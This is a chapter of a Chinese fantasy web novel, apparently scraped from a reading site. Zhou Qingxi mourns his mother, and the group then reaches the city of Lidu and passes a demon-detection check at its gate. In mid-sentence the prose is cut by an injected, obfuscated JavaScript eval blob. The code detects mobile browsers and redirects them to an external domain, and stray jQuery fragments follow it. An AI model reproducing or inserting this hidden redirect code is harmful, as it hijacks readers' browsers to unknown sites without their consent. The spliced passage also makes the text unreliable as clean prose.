回家。
曾经很久一段时间,周庆喜从不觉得回家有意义。
五岁那年,便宜亲爹因做工劳累伤身病死,贫穷与疾病、饥饿,在这个小家数十年间从未断绝。
周家村是个落后山村,在这里男人死亡意味着绝种,因为女人除了会打点家务,还能做什么呢?外加上成为寡妇,流传些克夫骂名,大都不受待见。
亲爹的娘,家中孩子众多,周爹排行老五,可有可无,对家里没有贡献不说,还有两张嗷嗷待哺的嘴,奶奶不打死俩娘母就不错了,还谈什么帮衬。
没有人觉得这对母子能活下来,最讽刺的是莫过于当年他去上学,还闹出鬼魂复活这种离谱事。
这世间有很多事都很复杂,学问、地位,可放弃某件事又十分简单,比读书还简单。
他在黎都找了许多活计,跑腿、打架、包括当扒手,不看活计是否体面,能赚钱的机会他都抓,能补贴家用的他都干。
有时候就连工友们都觉得,这孩子太狠,这不要命的赚钱法子,迟早有天早亡。
早死啊……
他不怕啊,如果早点死能给娘亲积攒后半辈子的积蓄,死了又如何?
那个女人自从他记事起,就像一头老黄牛,早起割麦,中午做饭,晚上洗碗,仿佛有浑身使不完的力气。
她照顾丈夫,照顾孩子,唯独忘记照顾自己。
谁能想到大字不识几个的女人,会为了让他上私塾跟先生辩论?
谁能想到,缴纳不起束脩,只是听见有人说后山有仙草,能卖万两黄金,她拖着瘦弱的身体,去了整整三天,把男人们熬回家,得到珍贵的仙草,可到最后被别人一巴掌推下山崖?
谁又能想到,她发了疯,跪下来祈求先生收下孩子,愿意替他家干一辈子苦活。
好苦啊,娘亲这辈子好苦。
周庆喜觉得自己甚至还没有她的三分之一多。
小时候,他喜欢躺在娘亲怀里,看桃花在春风中落下,问:“为什么娘亲要生下我呢?为什么娘亲要给我取名庆喜呢?”
像是好奇宝宝,娘亲觉得有意思,嘴角含笑:“因为娘亲喜欢小庆喜,天天向神仙祈祷,让一个很乖很乖的小孩降生在娘亲的肚子里。”
“那娘亲,庆喜是乖小孩吗?”周庆喜问。
周母故意停顿一阵说:“唔……”
周庆喜有点着急,小脑袋立刻从怀里钻出来,用大眼睛瞅着娘亲:“娘亲!”
“是啊是啊,不过你要是今天多读一本书,娘亲就觉得小庆喜更乖了。”周母循循善诱道。
谁料周庆喜没心机,还真捞出一本书去看。
这一切都像是周庆喜做的一场梦,独属于周家村易碎的梦。
等会过神才发现,原来梦在娘亲说他很乖的时候就已经醒了。
“我娘说,希望我未来只有喜没有悲,希望我能够平平安安度过一生,所以才给我取周庆喜这个名字。”山谷又吹出一阵热浪,伴随声音幽幽飘进所有人耳朵里。
却吹不起燥热,他们在听到周庆喜喃喃自语的话心里只留下寒凉。
在那个空旷的家里,曾经有这么一个女人,她站在门槛边目送一个重要心疼的人离开,紧接着陷入等待。
等孩子长成少年,等孩子幸福美满,能有个漂亮儿媳,等孩子何时回家,家中能不能刚好热上菜。后来这些虚无缥缈的等待,又变成担忧,担忧在外吃不饱穿不暖,担忧孩子会受其他大人的欺负,担忧他太小太小了,还撑不起这个家。
娘亲是一个很伟大的称呼。
亦是一个很伟大的人。
他在无数次闭眼,睁眼中挣扎。
回头看,青石壁上,峡道绵长,偶有杂草从石缝间生长,已然不知过了多少个春秋。
崖壁那头,曾经就是他的家,似乎再多走几步路,依然能看见娘亲站在村口,等待他回去。
归家的游子,从此不知道何处是吾乡,何处是归途。
这条下山的路尤其悠长,所有人都保持沉默。
气氛凝固成冰,像是冻了好几个年头,周庆喜勾着头,头发耷拉在肩上,谁也看不出他究竟在想什么。
沈明珠想安慰,也不知道从哪方面开口。
约莫走了半个钟头,直到高挺的树木逐渐稀少。视野豁然开朗,野树被黄土地所替代。
一道吆喝声传入耳中。
宛如池子里被石子溅出的水花,打破沉寂。
黎都。
敞开在众人眼前,那是一扇大门,门边站着两个修士。
商人成群结队,各自手挑货物。
“豆腐来一块不,只要三枚铜石。”
“去去去,你这比城里还贵一块,赚黑心钱呢?”
“哪能那?”豆腐店主狐狸眼微眯,继续道:“我这豆腐品质好,昨天刚做,用的材料可是蕴含灵气的。修仙者吃了涨修为,普通人吃了延年益寿,懂不懂啊,贵有贵的道理。”
本来还翘着嘴巴的大叔,听到涨修为立刻掏出钱袋子。
“卖玄灵丹,只要三百枚铜币,价格低廉,品质优良,客官要来一颗不?”
“上好的酒酿,买前可品尝,不好喝不要钱。”
数年不见,人间早已变幻模样。
也许是城外太热闹,低迷的气氛也有所缓和。
沈明珠忽然想到很久以前以物换物的人间,同样喧闹,兀自生出一股怀念:“好热闹,玄灵丹?铜石?都是没见过的东西。”
“城内跟城外一样热闹吗?”她待在摊位面前,从一众奇珍面前掠过。
乌鸾正好借此破冰,同时展现自己超高引导能力,侃侃而谈道:“这可不一样,城外主要是卖点小杂物,没有令牌的人才会挤在城门卖,城内通常卖大型物件,像是灵船,一艘不用掌舵能飞上天的船,或者是灵器,修仙者入门前需要的人生第一把剑、锤,包括丹药等级也会提升很多。”
“是吗?听起来真有意思。”沈明珠感叹道。
谢几度目光微动,朝她瞥了一眼。
城外虽说都是小物件,放其他地方也随处可见,但胜在新奇,各种各样花色的杂物琳琅满目,极度吸引眼球。
很快,沈明珠又走不动道了。
“你被关在岛上多久了?”温润的嗓音突然响起,混杂在嘈杂人声中并不突兀。
以至于沈明珠还以为是乌鸾问的,她解释道:“三千年?还是四千年?时间太久有点记不清,但从记事起就待在褚仙岛。”
凤凰陨落,妖族唯一能庇佑族群的大能消失,新出生的孩子记忆里除了褚仙岛还能是哪儿?
“那地方在哪儿?”声音又问。
“南浔海。”沈明珠从摊位上挑起一串珠花,“真漂亮,但我不喜欢白色。”
谢几度轻捏了一下指尖,目光扫过那串珠花,又落回原处。
他倒是觉得如果珠花戴在少女头上,应该很衬皮肤白皙,就像海底的珍珠。
“为什么?”
沈明珠不吭声了。
因为回忆里就是那群疯子仙人,拒绝请来医师。
婆婆病危,整宿整宿疼得打滚,睡不着觉。
巫医束手无策,说不如请仙人来看看。
他们一副无奈模样,说仙帝有旨,不许医仙踏足。
白衣服,虚伪至极,可不讨厌吗?
她突然有些想婆婆了,老太太以前总会站在村口喊泼猴似的她回去吃完饭。
霞光铺陈出一副画,寥落星点,以及月辉就是上面最绚丽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16514063|186211||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的图。
天空依然是他们同时仰望的那片,可身旁的人却不是当初的故人。
又过了片刻,不知不觉他们走到近处,刚才还像小蚂蚁的修士突然放大,也就看清楚这两位站在城门口究竟是在做什么。
他们是剑门弟子,背上背着两柄名为无名的剑,刻字苍劲飘逸,末端还雕着象征剑门的齿轮草,坚韧挺拔。
几个人乖乖走到后面排队,不多时沈明珠便发现排在队伍前面的人先将令牌拿出来,又被弟子们用手掌挥了一下才进去。
令牌提前拿出来倒还说得过去。
但挥?
她眨巴两下眼睛,不禁猜测:“难不成挥一下,是预祝进城平安?”
谢几度说:“不是,用那个检验是否有魔族混入其中。”
“魔族伪装进城?他们进去干嘛?”
谢几度眼神一顿,掀开眼皮看了眼天空,又垂了回去,一本正经从对方脸上一扫而过,道:“可能是去送死。”
“……”
有人哽住。
队伍游走很快。
可能商户们都等不及卸货,大夏天站在太阳底都略微烦躁,转眼间,五个人就排到修士面前。
在他们前面,还有一个头戴斗笠,包裹的严严实实,像是在过隆冬的奇怪男子。
扁担里也不知道挑了什么重物,离得近的,很早前就闻到股酸臭味,显然修士们也闻到了,脸色扭曲地要求他把罐子揭开。
本来卖东西的货物是不需要审查的,奈何这味道太冲,把其他人也熏得头晕眼花。
“你把这东西打开,我们给你加上净诀清清味,否则你进去很容易被当成魔族处置。”其中一个弟子说。
另一个弟子忙不迭点头:“城内的师兄对味道比较敏感,所以真的抱歉,打开你的货物。”
话音落下,大概过了好几分钟吧,男人始终没有要放下扁担的意思,更不算开口,弟子们只能边说对不住,边准备打开罐子。
岂料,就在这个瞬间。
男子突然放下扁担,把罐子一把揭开。
这举动措不及防,把弟子们吓到应激,差点从剑鞘里拔尖。
等反应过来,他们殃殃放下手臂,胆大的一位走上前去看。
罐子里浸泡着鲜红物体,看不出具体是什么。
但因为味道太大,弟子随手掐出诀,就挥手让他离开。
“多谢。”
临走前,男子才开口道谢,透过斗笠那声音像是蒙上一层薄膜,喘不过气,硬是从喉咙里挤出来的气音。
莫名让人觉得不舒服,凉嗖嗖的。
不过很快,那道身影消失在街角尽头。
……
小插曲一晃而过,弟子们扶着墙壁还久久回不过来神,愣是干呕。
沈明珠愣在原地,看着前后左右都在呕吐,显然也是被吓到了。不过令人意外,谢几度居然没吐。
“你还挺能忍的。”她说。
谢几度:“你不也是?”
沈明珠挑眉:“我是妖啊,什么大场面没见过,就一坛子小菜一碟,你没发现仙子也没吐吗?”
排队这一长队,就他们三人没吐,其他人吐到昏天黑地,面色铁青。
“对了,我突然想到一个问题。”沈明珠看着周庆喜率先过灵石,头也不回问:“那东西只能检测出魔族吗?”
人族,仙族过,手腕上的灵石都是保持黑曜色,透着死气沉沉。
谢几度:“对……吧?”
“对吧?感情你居然不知道?万一呢?呈现什么颜色?”
谢几度想了想回答:“白色。”
沈明珠:“……”
在众目睽睽之下,灵石比夜晚的星星还要白,亮到眼瞎。